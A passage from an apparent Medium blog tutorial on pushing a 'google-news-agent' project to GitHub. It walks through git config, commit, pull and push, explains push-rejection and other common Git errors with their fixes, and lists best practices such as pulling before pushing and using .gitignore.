To <a href="https://github.com/kajalishere/google-news-agent.git">https://github.com/kajalishere/google-news-agent.git</a></p><p>· 332b736..d525b02 main -&gt; main</p><p>This confirms your code has been successfully uploaded to GitHub!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p6SjdB_-6o14O1CxqR9wFA.png" /><figcaption><em>Shows git config, git add, git commit, and successful git push output</em></figcaption></figure><h3>Image 4: Push Rejection Error — When Remote Has Changes</h3><p>Command executed:</p><p><em>git push origin main</em></p><p>ERROR OUTPUT:</p><p>! [rejected] main -&gt; main (fetch first)<br> error: failed to push some refs to ‘https://github.com/kajalishere/google-news-agent.git&#39;<br> hint: Updates were rejected because the remote contains work that you do not have locally.<br> hint: This is usually caused by another repository pushing to the same ref.<br> hint: You may want to first integrate the remote changes (e.g., ‘git pull’)<br> hint: before pushing again.</p><p>What happened:</p><p>GitHub has changes you don’t have locally. This usually happens when you edit files directly on GitHub’s website or when someone else pushed changes.</p><p>The fix is coming in the next step!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imeKDTiewSzpH4iGiLFOAw.png" /><figcaption><em>Shows git push rejection error with “[rejected]” message</em></figcaption></figure><h3>Image 5: Git Pull, Merge, and Successful Push</h3><p>Commands executed:</p><p><em>git pull origin main<br> git push origin main</em></p><p>OUTPUT FROM GIT PULL:</p><p>remote: Enumerating objects: 5, done.<br> remote: Counting objects: 100% (5/5), done.<br> Unpacking objects: 100% (3/3), done.<br> From <a href="https://github.com/kajalishere/google-news-agent">https://github.com/kajalishere/google-news-agent</a><br> * branch main -&gt; FETCH_HEAD<br> d525b02..968822d main -&gt; origin/main<br> Merge made by the ‘ort’ strategy.<br> README.md | 401 +++++++++++++++++++++++++++++++++++++++<br> 1 file changed, 162 insertions(+), 239 deletions(-)</p><p>The <strong>git pull</strong> downloads GitHub’s latest changes and merges them with your code.</p><p>OUTPUT FROM GIT PUSH (AFTER PULL):</p><p>Enumerating objects: 11, done.<br> Counting objects: 100% (11/11), done.<br> Delta compression using up to 16 threads<br> Compressing objects: 100% (9/9), done.<br> Writing objects: 100% (9/9), 590.51 KiB | 19.68 MiB/s, done.<br> Total 9 (delta 2), reused 0 (delta 0)<br> remote: Resolving deltas: 100% (2/2), completed with 1 local object.<br> To <a href="https://github.com/kajalishere/google-news-agent.git">https://github.com/kajalishere/google-news-agent.git</a><br> 968822d..5444455 main -&gt; main</p><p><strong>SUCCESS</strong>! Your code is now on GitHub after pulling the remote changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQqcMlvyRr-3oYSUcI6asQ.png" /><figcaption><em>Shows git pull with merge output, then successful git push</em></figcaption></figure><h3>When Things Go Wrong: Common Errors &amp; Solutions</h3><h3>Error 1: Git Push Rejection</h3><p>! [rejected] main -&gt; main (fetch first)<br> error: failed to push some refs to ‘https://github.com/...&#39;<br> hint: Updates were rejected because the remote contains work<br> hint: that you do not have locally.</p><p>What happened:</p><p>GitHub has changes you don’t have locally. This usually happens when you edit files directly on GitHub’s website or when someone else pushed changes.</p><p>Solution:</p><p># Step 1: Pull the remote changes first<br> git pull origin main<br> <br> # Step 2: Now push your changes<br> git push origin main</p><p>The <strong>git pull</strong> downloads GitHub’s changes and merges them with your code. After that, <strong>git push</strong> will succeed.</p><h3>Error 2: Git Repository Not Found</h3><p>fatal: not a git repository (or any of the parent directories): .git</p><p>What happened:</p><p>You’re not in a Git repository directory. Git can’t find the .git folder.</p><p>Solution:</p><p># Check your current directory<br> pwd<br> <br> # Navigate to your repository root directory<br> cd C:\Users\kajal\google-news-agent<br> <br> # Verify you’re in the right place<br> dir # You should see a .git folder</p><p>Make sure you’re in the root of your repository where the .git folder exists.</p><h3>Error 3: Please Tell Me Who You Are</h3><p>*** Please tell me who you are.<br> <br> Run<br> <br> git config — global user.email “you@example.com”<br> git config — global user.name “Your Name”</p><p>What happened:</p><p>Git doesn’t know your name and email. This happens on first-time Git setup.</p><p>Solution:</p><p>git config — global user.name “Your Name”<br> git config — global user.email “your-email@gmail.com”</p><p>Run these commands to configure Git globally. After that, commits will work.</p><h3>Complete Command Sequence</h3><p>Here’s everything in order. Copy and paste these commands into PowerShell:</p><p># Configure Git (one-time setup)<br> git config — global user.name “Your Name”<br> git config — global user.email “your-email@gmail.com”<br> <br> # Navigate to your repository<br> cd C:\Users\username\your-repo-name<br> <br> # Check status<br> git status<br> <br> # Stage all changes<br> git add .<br> <br> # Commit with message<br> git commit -m “feat: Add your project description”<br> <br> # Pull latest changes from GitHub<br> git pull origin main<br> <br> # Push to GitHub<br> git push origin main</p><h3>5 Best Practices for Pushing Code</h3><p>1. <strong>Commit frequently</strong> :Make small, logical commits. Don’t wait to commit a hundred files at once.</p><p>2. <strong>Write descriptive messages</strong> :Use conventional prefixes:</p><p>· feat: (new feature)</p><p>· fix: (bug fix)</p><p>· docs: (documentation)</p><p>· style: (formatting)</p><p>3. <strong>Always pull before pushing</strong> :Run <strong>git pull</strong> before <strong>git push</strong> to avoid rejection errors.</p><p>4. <strong>Review with git status</strong> :Always check <strong>git status</strong> to see what you’re about to commit.</p><p>5. <strong>Use .gitignore</strong> :Create a <strong>.gitignore</strong> file to exclude files like passwords, <strong>node_modules</strong>, <strong>__pycache__</strong>, <strong>.env</strong>, etc.</p><h3>Conclusion</h3><p>Master this workflow, and you’ve mastered the most essential skill in modern software development. Your code is now tracked, backed up, and ready for collaboration!</p><p>The key takeaway: <strong>Always pull before you push.</strong> This simple rule will save you from 90% of Git headaches.</p><p>You can find the complete Google News Agent project at <a href="https://github.com/kajalishere/google-news-agent"><strong>https://github.com/kajalishere/google-news-agent</strong></a></p><p>Happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aeb97165ff56" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>